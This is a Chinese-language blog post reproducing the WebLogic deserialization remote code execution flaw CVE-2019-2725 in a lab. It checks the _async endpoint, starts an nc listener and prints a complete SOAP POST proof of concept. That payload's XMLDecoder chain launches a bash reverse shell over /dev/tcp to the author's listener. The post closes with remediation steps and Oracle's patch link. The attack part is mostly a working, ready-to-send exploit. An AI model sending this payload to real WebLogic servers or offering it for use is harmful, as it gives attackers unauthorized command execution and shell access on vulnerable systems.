Weblogic反序列化RCE复现(CVE-2019-2725)

ZEl0Et.jpg

漏洞-介绍

Oracle WebLogic Server是一个企业应用程序服务器。

由于反序列化输入信息,Oracle WebLogic Server容易出现远程命令执行漏洞。具体来说,此问题会影响’wls9_async’和’wls-wsat’组件。攻击者可以利用此问题执行任意命令。

攻击者可以利用此问题在运行受影响的应用程序的用户的上下文中执行任意命令。漏洞利用尝试失败可能导致拒绝服务条件。

漏洞-影响版本

Oracle WebLogic Server:

  • 10.X.X.X.X
  • 12.1.3.0.0

漏洞-环境搭建

用的vulhub CVE-2017-10271 两者影响版本差不多

ZEklkj.png

ZEAy5j.png

漏洞-验证

访问…/_async和…/_async/AsyncResponseService来测试是否启用了wls9_asyn组件,则存在该漏洞

访问http://192.168.32.140:7001/_async/ 403禁止访问代表存在

ZEE4SI.png

访问http://192.168.32.140:7001/_async/AsyncResponseService

ZEZp8A.png

本机开启nc监听7777端口,为后面反弹shell做准备

ZEnsaT.png

构造poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 791
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.0.226/7777 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

打开burp,抓包-改包-发包

ZEKMHP.png

反弹shell成功

ZEK34S.png

漏洞-修复建议

  • 删除该war包并重启WebLogic服务,具体文件路径如下:

    Weblogic9*版本:

    1
    /%WLS_HOME%/weblogic92/server/lib/bea_wls9_async_response.war

    Weblogic 10*版本:

    1
    /%WLS_HOME%/wlserver_10.3/server/lib/bea_wls9_async_response.war

    Weblogic12*版本:

    1
    /%WLS_HOME%/oracle_common/modules/com.oracle.webservices.wls.bea-wls9-async-response_12.1.3.war

    注:wls9_async_response.war属于一级应用包,对其进行移除或更名操作可能造成未知的后果,Oracle官方不建议对其进行此类操作。

  • 通过访问策略控制禁止/_async/*路径的URL访问

  • 官方补丁:https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html

参考-出处